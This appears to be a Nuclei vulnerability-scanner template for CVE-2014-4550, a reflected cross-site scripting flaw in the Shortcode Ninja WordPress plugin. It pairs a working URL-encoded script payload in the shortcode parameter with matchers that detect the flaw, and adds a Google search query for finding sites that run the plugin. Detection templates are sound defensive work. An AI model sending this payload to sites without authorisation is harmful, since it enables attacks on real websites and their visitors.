id: CVE-2014-4550 info: name: Shortcode Ninja <= 1.4 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter. remediation: | Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability. reference: - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0 - https://nvd.nist.gov/vuln/detail/CVE-2014-4550 - http://codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4550 cwe-id: CWE-79 epss-score: 0.00135 epss-percentile: 0.48504 cpe: cpe:2.3:a:visualshortcodes:ninja:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: visualshortcodes product: ninja framework: wordpress google-query: inurl:"/wp-content/plugins/shortcode-ninja" tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014,unauth http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e" matchers-condition: and matchers: - type: word part: body words: - "'>" - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a0046304402204a3c507761b4a4af70ed12b57664bb09590372ef5ee0216c6db4386dab13483502204dc18a65c0369bdb9df194f4d9584351a8e3e67fa726c4ce215a43cf87891d9a:922c64590222798bb761d5b6d8e72950